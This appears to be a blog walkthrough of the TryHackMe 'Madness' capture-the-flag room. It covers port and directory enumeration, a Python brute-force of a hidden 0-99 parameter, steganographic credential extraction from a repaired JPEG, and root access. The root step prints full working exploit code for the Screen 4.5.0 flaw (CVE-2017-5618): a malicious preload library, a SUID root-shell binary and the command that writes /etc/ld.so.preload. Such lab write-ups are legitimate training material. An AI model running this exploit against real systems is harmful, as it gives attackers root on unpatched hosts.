Madness - Joker CTF x Steganography (TryHackMe)

Search for a command to run...

No comments yet. Be the first to comment.
Link to the challenge on TryHackMe: Modern Web Stacks Introduction During a time-boxed engagement, the first tester to identify Apache/2.4.49 in a Server: header already knows the exact CVE before the

Link to the challenge/walkthrough on TryHackMe: Broken Authentication Introduction Authentication is the process by which a web application verifies the identity of the user making a request. It typic

Link to the HealthGPT AI security CTF challenge on TryHackMe. Meet HealthGPT, a well-meaning virtual assistant used by a busy healthcare team. It helps clinicians look up procedures, draft notes, and

Link to the section of the AI Odyssey CTF on TryHackMe: Token City. It covers challenges like: ML Sec: The Loan Arranger | AI Sec + DFIR: Rogue Commit | AI Sec + Web App Sec: Sealed Substation | Agent

Link to the Privilege Escalation Challenge on TryHackMe: Linux Privilege Escalation: Automation Introduction By now, you should have an understanding of basic privilege escalation techniques and how t

This challenge demonstrates a multi-stage attack involving web enumeration, steganography, and privilege escalation. The box requires discovering hidden content through careful reconnaissance, extracting credentials from an image file, and exploiting a known vulnerability in Screen 4.5.0 to gain root access. No SSH brute-forcing is required - all credentials can be discovered through proper enumeration techniques.

Please note this challenge does not require SSH brute forcing.
Use your skills to access the user and root account!
user.txt
nmap -p- -sV -sC <IP_Address>

Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-02 17:49 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.48.153.218
Host is up (0.00032s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ac:f9:85:10:52:65:6e:17:f5:1c:34:e7:d8:64:67:b1 (RSA)
| 256 dd:8e:5a:ec:b1:95:cd:dc:4d:01:b3:fe:5f:4e:12:c1 (ECDSA)
|_ 256 e9:ed:e3:eb:58:77:3b:00:5e:3a:f5:24:d8:58:34:8e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.74 seconds
gobuster dir -u http://<IP_Address> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
I noticed that http://<IP_Address>/?.html shows the default break without breaking

curl http://10.48.153.218/index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<body>
<div class="main_page">
<div class="page_header floating_element">
<img src="thm.jpg" class="floating_element"/>
<!-- They will never find me-->
<span class="floating_element">
Apache2 Ubuntu Default Page
</span>
</div>
<!-- <div class="table_of_contents floating_element">
<div class="section_header section_header_grey">
TABLE OF CONTENTS
</div>
<div class="table_of_contents_item floating_element">
<a href="#about">About</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#changes">Changes</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#scope">Scope</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#files">Config files</a>
</div>
</div>
-->
</body>
</html>
wget http://<IP_Address>/thm.jpg

strings thm.jpg
exiftool thm.jpg
steghide extract -sf thm.jpg
xxd thm.jpg | head -20

cp thm.jpg thm_fixed.jpg
printf '\xff\xd8' > thm_fixed.jpg
dd if=thm.jpg of=thm_fixed.jpg bs=1 skip=20 seek=2
22190+0 records in
22190+0 records out
22190 bytes (22 kB, 22 KiB) copied, 0.151501 s, 146 kB/s
used the above code to make a copy and fixed it, then used steghide again, but didn’t find anything.

Viewing the image, there was a hidden path: http://<IP_Address>/th1s_1s_h1dd3n

gobuster dir -u http://<IP_Address>/th1s_1s_h1dd3n -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.49.157.80/th1s_1s_h1dd3n
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 406]
/.html (Status: 403) [Size: 277]
Progress: 873100 / 873104 (100.00%)
===============================================================
Finished
http://<IP_Address>/th1s_1s_h1dd3n

There’s a code comment which will be our hint: // It's between 0-99 but I don't think anyone will look here

/usr/bin/env python3
import requests
url = "http://10.49.157.80/th1s_1s_h1dd3n"
print("[*] Brute forcing secret parameter (0-99)...")
for num in range(100):
response = requests.get(url, params={'secret': num})
# Print progress
print(f"[*] Trying secret={num}", end='\r')
# Check if we got something different (flag found)
if "wrong" not in response.text.lower() and len(response.text) > 100:
print(f"\n[+] FOUND! secret={num}")
print(f"[+] Response:\n{response.text}")
break
elif "flag" in response.text.lower() or "thm{" in response.text.lower():
print(f"\n[+] FLAG FOUND! secret={num}")
print(f"[+] Response:\n{response.text}")
break
else:
print("\n[-] No flag found in range 0-99")
nano brute_secret.py
chmod +x brute_secret.py
python3 brute_secret.py
[*] Brute forcing secret parameter (0-99)...
[*] Trying secret=73
[+] FOUND! secret=73
[+] Response:
<html>
<head>
<title>Hidden Directory</title>
<link href="stylesheet.css" rel="stylesheet" type="text/css">
</head>
<body>
<div class="main">
<h2>Welcome! I have been expecting you!</h2>
<p>To obtain my identity you need to guess my secret! </p>
<!-- It's between 0-99 but I don't think anyone will look here-->
<p>Secret Entered: 73</p>
<p>Urgh, you got it right! But I won't tell you who I am! y2RPJ4QaPF!B</p>
</div>
</body>
</html>

http://<IP_Address>/th1s_1s_h1dd3n/?secret=73

with this we can go back to steghide to check if we can find details about our ssh user or their password
steghide extract -sf thm_fixed.jpg
hidden.txt file 
cat hidden.txt
python3 -c "import codecs; print(codecs.decode('wbxre', 'rot_13'))"
This reveals the real username
The image below happens to have a password for our SSH user

ssh joker@<IP_Address>
find / -type f -name user.txt 2>/dev/null

root.txt
sudo -l
This didn’t work, and I opted to use a different way
find / -perm -4000 2>/dev/null
sudo -l
[sudo] password for joker:
Sorry, user joker may not run sudo on ubuntu.
joker@ubuntu:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/bin/fusermount
/bin/su
/bin/ping6
/bin/screen-4.5.0
/bin/screen-4.5.0.old
/bin/mount
/bin/ping
/bin/umount
Screen version 4.5.0 is vulnerable to a local privilege escalation exploit (CVE-2017-5618) that abuses the ld.so.preload mechanism.
This shared library will be preloaded and will modify the ownership and permissions of our rootshell binary:
cd /tmp
cat > libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o libhax.so libhax.c
This is the SUID binary that will give us a root shell:
cat > rootshell.c << 'EOF'
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o rootshell rootshell.c
The vulnerable screen binary allows us to write to /etc/ld.so.preload:
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
```
**Output:**
```
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-joker.
The [+] done! message indicates our library was executed with root privileges, making /tmp/rootshell a SUID binary owned by root.
/tmp/rootshell
The Screen 4.5.0 SUID binary has a race condition that allows unprivileged users to write to /etc/ld.so.preload. This file tells the dynamic linker which libraries to load before all others. By injecting our malicious library path, we can execute arbitrary code with root privileges when screen (or any SUID binary) is launched.
CVE Reference: CVE-2017-5618

This challenge effectively teaches several important penetration testing concepts:
Key Takeaways:
Hidden HTML comments can reveal valuable clues and attack vectors
Steganography is a common technique for hiding credentials in CTF challenges
File header corruption can prevent tools from working - knowing how to fix corrupted files is essential
SUID binaries are prime targets for privilege escalation
Known CVEs like the Screen 4.5.0 exploit (CVE-2017-5618) demonstrate why keeping systems patched is critical
The progression from web enumeration → steganography → credential discovery → privilege escalation mirrors real-world attack chains. This room reinforces the importance of thorough enumeration at every stage and understanding how to leverage existing exploits effectively.